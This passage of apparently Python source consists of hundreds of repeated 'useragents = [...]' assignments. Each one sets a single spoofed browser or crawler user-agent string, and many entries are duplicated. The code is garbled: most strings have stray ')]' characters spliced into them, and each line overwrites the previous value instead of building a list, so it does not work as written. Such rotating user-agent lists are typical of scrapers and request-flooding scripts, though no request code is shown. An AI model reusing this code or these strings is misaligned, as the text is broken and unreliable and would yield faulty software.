Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = 